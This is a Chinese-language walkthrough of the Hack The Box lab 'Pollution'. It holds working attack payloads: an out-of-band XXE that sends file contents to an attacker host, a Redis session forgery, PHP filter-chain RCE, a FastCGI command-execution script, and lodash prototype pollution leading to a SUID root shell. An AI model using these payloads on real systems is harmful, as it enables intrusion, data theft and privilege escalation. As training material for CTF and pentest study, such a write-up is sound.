端口扫描

┌──(mikannse㉿kali)-[~/HTB/Pollution]
└─$ sudo nmap --min-rate=10000 -p- 10.10.11.192
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-27 10:34 CST
Nmap scan report for 10.10.11.192
Host is up (0.070s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6379/tcp open redis

Nmap done: 1 IP address (1 host up) scanned in 8.22 seconds
┌──(mikannse㉿kali)-[~/HTB/Pollution]
└─$ sudo nmap -sT -sC -sV -O -p22,80,6379 10.10.11.192
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-27 10:35 CST
Nmap scan report for 10.10.11.192
Host is up (0.070s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 db:1d:5c:65:72:9b:c6:43:30:a5:2b:a0:f0:1a:d5:fc (RSA)
| 256 4f:79:56:c5:bf:20:f9:f1:4b:92:38:ed:ce:fa:ac:78 (ECDSA)
|_ 256 df:47:55:4f:4a:d1:78:a8:9d:cd:f8:a0:2f:c0:fc:a9 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Home
|_http-server-header: Apache/2.4.54 (Debian)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
6379/tcp open redis Redis key-value store
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.26 seconds

XXE

测试一下大概有三个功能点,注册登录,以及一个contact表单。但是都没有结果。在左侧找到域名collect.htb

扫描子域名

┌──(mikannse㉿kali)-[~/HTB/Pollution]
└─$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://collect.htb/' -H "HOST:FUZZ.collect.htb" -fs 26197

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://collect.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.collect.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 26197
________________________________________________

forum [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 111ms]
developers [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 69ms]

发现两个子域,其中developers需要凭证登录,添加hosts,访问forum.collect.htb

是一个MyBB论坛,浏览一下,有几位用户的提问,其中提到了pollutionAPI,和房间名一样,并且在victor用户发的帖子中有一个文本附件

下载需要注册账号。看了一下像是几条httpRequest请求的记录

其中对于collect.htb/set/role/admin路由的请求值得注意,看上去像是设置用户为admin的接口,base64解码之后是

POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf

得到了token,那么在这个页面也注册一个账号,然后授予这个账号管理员权限

┌──(mikannse㉿kali)-[~/HTB/Pollution]
└─$ curl -X POST "http://collect.htb/set/role/admin" -b "PHPSESSID=30rsbg6vtfp6p82426sdttoqrn" -d "token=ddac62a28254561001277727cb397baf" -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host collect.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.192
* Trying 10.10.11.192:80...
* Connected to collect.htb (10.10.11.192) port 80
> POST /set/role/admin HTTP/1.1
> Host: collect.htb
> User-Agent: curl/8.9.1
> Accept: */*
> Cookie: PHPSESSID=30rsbg6vtfp6p82426sdttoqrn
> Content-Length: 38
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 38 bytes
< HTTP/1.1 302 Found
< Date: Fri, 27 Sep 2024 03:18:27 GMT
< Server: Apache/2.4.54 (Debian)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: /admin
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host collect.htb left intact

发现重定向到了/admin,下面有一个注册表单,抓一个包

POST /api HTTP/1.1

Host: collect.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-type: application/x-www-form-urlencoded

Content-Length: 173

Origin: http://collect.htb

Connection: keep-alive

Referer: http://collect.htb/admin

Cookie: PHPSESSID=30rsbg6vtfp6p82426sdttoqrn

manage_api=<?xml version="1.0" encoding="UTF-8"?><root><method>POST</method><uri>/auth/register</uri><user><username>admin</username><password>admin</password></user></root>

是XML格式调整一下缩进:

manage_api=
<?xml version="1.0" encoding="UTF-8"?>
<root>
<method>POST</method>
<uri>/auth/register</uri>
<user>
<username>admin</username>
<password>admin</password>
</user>
</root>

测试一下XXE,但是发现是没有回显的

manage_api=
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<method>POST</method>
<uri>/auth/register</uri>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>
</root>

那么尝试外带:

manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://10.10.14.29:8000/"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>

发现是成功收到请求:

┌──(mikannse㉿kali)-[~/HTB/Pollution]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.192 - - [27/Sep/2024 11:52:09] "GET / HTTP/1.1" 200 -

为了外带,得使用dtd,本地创建一个xxe.dtd,但是/etc/passwd读不到,换/etc/hostname可以读,但是也需要利用php伪协议,应该是所能读取的文件大小有限??

本地创建dtd:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % payload "<!ENTITY &#37; run SYSTEM 'http://10.10.14.29:8000/?leak=%file;'>">
%payload;
%run;

然后发包

manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://10.10.14.29:8000/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>

接收到了信息

┌──(mikannse㉿kali)-[~/HTB/Pollution]
└─$ python -m http.server
10.10.11.192 - - [27/Sep/2024 13:03:18] "GET /?leak=cG9sbHV0aW9uCg== HTTP/1.1" 200 -
┌──(mikannse㉿kali)-[~/HTB/Pollution]
└─$ echo "cG9sbHV0aW9uCg==" |base64 -d
pollution

现在能过够实现任意(部分)文件读取,尝试读取developers的服务器配置文件/etc/apache2/sites-enabled/developers.collect.htb.conf

<VirtualHost *:80>
<SNIP>
ServerAdmin collect@localhost
ServerName developers.collect.htb
DocumentRoot /var/www/developers

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

<Directory "/var/www/developers">
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /var/www/developers/.htpasswd
Require valid-user
</Directory>
<SNIP>
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

告诉了认证文件:/var/www/developers/.htpasswd,读取得到:

developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
┌──(mikannse㉿kali)-[~/HTB/Pollution]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
r0cket (developers_group)
1g 0:00:00:00 DONE (2024-09-27 13:15) 1.282g/s 274707p/s 274707c/s 274707C/s rararara..pookie96
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

登录进去之后又是重定向到一个登录界面,但是无论输入什么都没有回显

FOOTHOLD:LFI2RCE

试了一下redis,但这对凭据也无效,尝试继续读取developers的login.php,但是很奇怪,读不了,但是能读index.php

<?php
require './bootstrap.php';


if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
die(header('Location: /login.php'));
}

if (!isset($_GET['page']) or empty($_GET['page'])) {
die(header('Location: /?page=home'));
}

$view = 1;

?>

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="assets/js/tailwind.js"></script>
<title>Developers Collect</title>
</head>

<body>
<div class="flex flex-col h-screen justify-between">
<?php include("header.php"); ?>

<main class="mb-auto mx-24">
<?php include($_GET['page'] . ".php"); ?>
</main>

<?php include("footer.php"); ?>
</div>

</body>

</html>

似乎需要拥有一个auth的session,之后还需要一个page参数,然后可以包含这个参数,读取一下bootstrap.php

<?php

ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');

session_start();

看上去网站的session是存储在redis当中,并且现在得到了redis的auth

┌──(mikannse㉿kali)-[~/HTB/Pollution]
└─$ redis-cli -h 10.10.11.192 -a 'COLLECTR3D1SPASS'
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.11.192:6379> key *
(error) ERR unknown command `key`, with args beginning with: `*`,
10.10.11.192:6379> keys *
(empty array)
(0.71s)
10.10.11.192:6379> keys *
1) "PHPREDIS_SESSION:jo706g02gk5eilefkbc0t6emts"
10.10.11.192:6379> get PHPREDIS_SESSION:jo706g02gk5eilefkbc0t6emts
""
(1.08s)

查询所有键,得到了一条结果,也就是现在在develop这个站的cookie,并且值是空的。那么只需要往里面填充值,就能通过上面php的验证了,将其设置为True,序列化中b表示布尔变量

10.10.11.192:6379> set PHPREDIS_SESSION:jo706g02gk5eilefkbc0t6emts "auth|b:1;"
OK

刷新一遍页面之后,到了page参数,虽然使用伪协议能够读取php文件,但是内容都不是很有趣,并且测试了一下远程文件包含但是无效

但是通过伪协议中的filter,是能够实现写入文件来到达RCE的效果: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters

可以利用这个自动化工具: https://github.com/synacktiv/php_filter_chain_generator

┌──(mikannse㉿kali)-[~/tools/web/php/php_filter_chain_generator]
└─$ python php_filter_chain_generator.py --chain '<?=`$_GET[0]`;?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[0]`;?> (base64 value: PD89YCRfR0VUWzBdYDs/Pg)

然后就生成了一长串的filter链,然后在url中传入?0=whoami&page=payload,发现命令执行成功!做一个反弹shell

横向:PHP-FPM

在collect中找到config.php

<?php

return [
"db" => [
"host" => "localhost",
"dbname" => "webapp",
"username" => "webapp_user",
"password" => "Str0ngP4ssw0rdB*12@1",
"charset" => "utf8"
],
];

在forum数据库中的user能找到用户的哈希,但是都无法解密

发现还开着3000和9000这两个

www-data@pollution:~/collect$ ss -tlnp
ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 511 127.0.0.1:9000 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:6379 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 511 [::1]:6379 [::]:*
LISTEN 0 511 *:80 *:*

看一下进程里面有php-fpm

www-data@pollution:~/collect$ ps axu |grep fpm
ps axu |grep fpm
root 975 0.0 1.0 265400 40968 ? Ss Sep26 0:02 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)

查看www.config

www-data@pollution:~/collect$ cat /etc/php/8.1/fpm/pool.d/www.conf |grep -v "^;" |tr -d "\n"
<p/8.1/fpm/pool.d/www.conf |grep -v "^;" |tr -d "\n"
[victor]user = victorgroup = victorlisten = 127.0.0.1:9000listen.owner = www-datalisten.group = www-datapm = dynamicpm.max_children = 5pm.start_servers = 2pm.min_spare_servers = 1pm.max_spare_servers = 3[www]user = www-datagroup = www-datalisten = /run/php/php8.1-fpm.socklisten.owner = www-datalisten.group = www-datapm = dynamicpm.max_children = 5pm.start_servers = 2pm.min_spare_servers = 1pm.max_spare_servers = 3

9000端口开的就是php-fpm,可以执行通过cgi执行任意php命令,详见: https://book.hacktricks.xyz/network-services-pentesting/9000-pentesting-fastcgi?ref=hacktrickz.xyz

#!/bin/bash

PAYLOAD="<?php system('$1');"
FILENAMES="/var/www/developers/index.php" # Exisiting file path

HOST=localhost
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

上传执行:

www-data@pollution:/tmp$ ./fpm.sh whoami
./fpm.sh whoami
Status: 302 Found
Set-Cookie: PHPSESSID=bjhqf6cf8ij81e98m6hnte1389; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login.php
Content-type: text/html; charset=UTF-8

victor

我们是victor身份,做一个反弹shell

提权

家目录还有一个pollution_api,是开在3000端口的nodejs服务。并且是root身份运行

victor@pollution:~$ ps axu |grep index.js
root 1418 0.0 1.8 1680976 75832 ? Sl Sep26 0:00 /usr/bin/node /root/pollution_api/index.js

本想着复制私钥到本地ssh连接但是需要密码,那就加入自己的公钥直接进行ssh连接

分析一下index.js,是一个express框架

const express = require('express');
const app = express();
const bodyParser = require('body-parser');

app.use(bodyParser.json());

app.get('/',(req,res)=>{
res.json({Status: "Ok", Message: 'Read documentation from api in /documentation'});
})

app.use('/auth',require('./routes/auth'));
app.use('/client',require('./routes/client'));
app.use('/admin',require('./routes/admin'));
app.use('/documentation',require('./routes/documentation'));

app.listen(3000, '127.0.0.1');
console.log('Listen on http://localhost:3000');

documentation.js中包含了所有接口

const express = require('express');
const router = express.Router();

router.get('/',(req,res)=>{
res.json({
Documentation: {
Routes: {
"/": {
Methods: "GET",
Params: null
},
"/auth/register": {
Methods: "POST",
Params: {
username: "user",
password: "pass"
}
},
"/auth/login": {
Methods: "POST",
Params: {
username: "user",
password: "pass"
}
},
"/client": {
Methods: "GET",
Params: null
},
"/admin/messages": {
Methods: "POST",
Params: {
id: "messageid"
}
},
"/admin/messages/send": {
Methods: "POST",
Params: {
text: "message text"
}
}
}
}
})
})

一个个接口分析吧

auth.js

const express = require('express');
const User = require('../models/User');
const router = express.Router();
const { signtoken } = require('../functions/jwt')
const { exec } = require('child_process');

router.post('/register', async (req,res)=>{
if(req.body.username != null && req.body.password != null){
try{
const find = await User.findAll({where: {username: req.body.username}})
if(find.length == 0){

User.create({
username: req.body.username,
password: req.body.password,
role: "user"
});

exec('/home/victor/pollution_api/log.sh log_register');

return res.json({Status: "Ok"});

}

return res.json({Status: "This user already exists"});
}catch(err){

return res.json({Status: "Error"});

}
}

return res.json({Status: "Parameters not found"});
})

router.post('/login', async (req,res)=>{
if(req.body.username != null && req.body.password != null){
try{
const find = await User.findAll({where: {username: req.body.username, password: req.body.password}});
if(find.length > 0){

exec('/home/victor/pollution_api/log.sh log_login');

const token = signtoken({user: find[0].username, is_auth: true, role: find[0].role});
return res.json({
Status: "Ok",
Header: {
"x-access-token": token
}
});

}

return res.json({Status: "Error", Message: "Invalid Credentials"});
}catch(err){

return res.json({Status: "Error"});

}

}

return res.json({Status: "Parameters not found"});
})


module.exports = router;

一个用于注册用户,一个用于登录用户并且分发JWT,并且是从mysql的pollution_api数据库中查询,通过查询user表,得到里面一个test:test用户

client.js,用于验证JWTToekn

const express = require('express');
const router = express.Router();
const User = require('../models/User');
const { decodejwt } = require('../functions/jwt')


router.use('/', async(req,res,next)=>{
if(req.headers["x-access-token"]){

const token = decodejwt(req.headers["x-access-token"]);
if(token){
const find = await User.findAll({where: {username: token.user, role: token.role}});

if(find.length > 0){

if(find[0].username == token.user && find[0].role == token.role){

return next();

}

return res.json({Status: "Error", Message: "You are not allowed"});
}

return res.json({Status: "Error", Message: "You are not allowed"});
}

return res.json({Status: "Error", Message: "You are not allowed"});
}

return res.json({Status: "Error", Message: "You are not allowed"});
})

router.post('/',(req,res)=>{
res.json({Status: "Ok", Message: 'This route is under development'});
})


module.exports = router;

admin.js

const express = require('express');
const router = express.Router();
const User = require('../models/User');
const { decodejwt } = require('../functions/jwt')

//controllers

const { messages } = require('../controllers/Messages');
const { messages_send } = require('../controllers/Messages_send');

router.use('/', async(req,res,next)=>{
if(req.headers["x-access-token"]){

const token = decodejwt(req.headers["x-access-token"]);
if(token){
const find = await User.findAll({where: {username: token.user, role: token.role}});

if(find.length > 0){

if(find[0].username == token.user && find[0].role == token.role && token.role == "admin"){

return next();

}

return res.json({Status: "Error", Message: "You are not allowed"});
}

return res.json({Status: "Error", Message: "You are not allowed"});
}

return res.json({Status: "Error", Message: "You are not allowed"});
}

return res.json({Status: "Error", Message: "You are not allowed"});
})

router.get('/',(req,res)=>{
res.json({Status: "Ok", Message: 'Read documentation from api in /documentation'});
})

router.post('/messages',messages);
router.post('/messages/send', messages_send);

module.exports = router;

如果JWT验证成功并且用户的身份要是”admin”则发送请求到/messages/send和/messages,这两个是控制器中的函数

查看mesage_send.js,接收一个text参数

const Message = require('../models/Message');
const { decodejwt } = require('../functions/jwt');
const _ = require('lodash');
const { exec } = require('child_process');

const messages_send = async(req,res)=>{
const token = decodejwt(req.headers['x-access-token'])
if(req.body.text){

const message = {
user_sent: token.user,
title: "Message for admins",
};

_.merge(message, req.body);

exec('/home/victor/pollution_api/log.sh log_message');

Message.create({
text: JSON.stringify(message),
user_sent: token.user
});

return res.json({Status: "Ok"});

}

return res.json({Status: "Error", Message: "Parameter text not found"});
}

module.exports = { messages_send };

这行非常感兴趣:_.merge(message, req.body);

是非常明显的原型链污染产生的函数,但是我们必须得先绕过一些限制来到达这里

使用test用户登录:

victor@pollution:~/pollution_api/routes$ curl -H "Content-type: application/json" -d '{"username":"test", "password":"test"}' localhost:3000/auth/login
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzI3NDQ5NzE3LCJleHAiOjE3Mjc0NTMzMTd9.I_rAzm-CYryBzi6CiRW7D2c2jxVaCDJTGvQLUWmKFO4"}}

得到了JWT,放在cyberchef中解密,但是我们的role是”user”而非admin

{
"user": "test",
"is_auth": true,
"role": "user",
"iat": 1727449717,
"exp": 1727453317
}

那么要在mysql中先更新成”admin”

MariaDB [pollution_api]> select * from users;
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt | updatedAt |
+----+----------+----------+------+---------------------+---------------------+
| 1 | test | test | user | 2024-09-27 03:41:00 | 2024-09-27 03:41:00 |
+----+----------+----------+------+---------------------+---------------------+
1 row in set (0.000 sec)

MariaDB [pollution_api]> UPDATE users SET role = 'admin' WHERE id = 1;
Query OK, 1 row affected (0.001 sec)
Rows matched: 1 Changed: 1 Warnings: 0

现在我们有了正确的JWT

victor@pollution:~/pollution_api/routes$ curl -H "Content-type: application/json" -d '{"username":"test", "password":"test"}' localhost:3000/auth/login
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcyNzQ1MDc0NSwiZXhwIjoxNzI3NDU0MzQ1fQ.5Zsq-WOTlaSGnpGWiBvx0U7F980fiIOYG4JJ1k4Cr5M"}}

那么可以进行原型链的利用了,merge函数的漏洞源于lodash库,在package.json中能找到lodash的版本:”lodash”: “^4.17.0”,是小于4.17.11 ,所以存在漏洞。那么能够通过object原型的”shell”属性来实现命令执行

于是最终payload:

victor@pollution:~/pollution_api/routes$ echo 'cp /bin/bash /tmp/root_bash;chmod +xs /tmp/root_bash'>/tmp/root.sh
victor@pollution:~/pollution_api/routes$ chmod +X /tmp/root.sh
victor@pollution:~/pollution_api/routes$ curl -X POST -H "Content-type: application/json" -H "x-access-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcyNzQ1MDc0NSwiZXhwIjoxNzI3NDU0MzQ1fQ.5Zsq-WOTlaSGnpGWiBvx0U7F980fiIOYG4JJ1k4Cr5M" localhost:3000/admin/messages/send -d '{"text":"text","__proto__":{"shell":"/tmp/root.sh"}}'
victor@pollution:~/pollution_api/routes$ /tmp/root_bash -p
root_bash-5.1# whoami
root

碎碎念

难度挺大的房间,并且对于漏洞的利用相互交错,通过XXE外带响应结合php伪协议来实现任意文件读取,然后学习到了php使用filter来写入文件来实现RCE。提权对nodejs进行源码审计其实路径还是比较清晰的,先找到危险函数然后倒推,原型链污染在CTF中考察得是越来越多了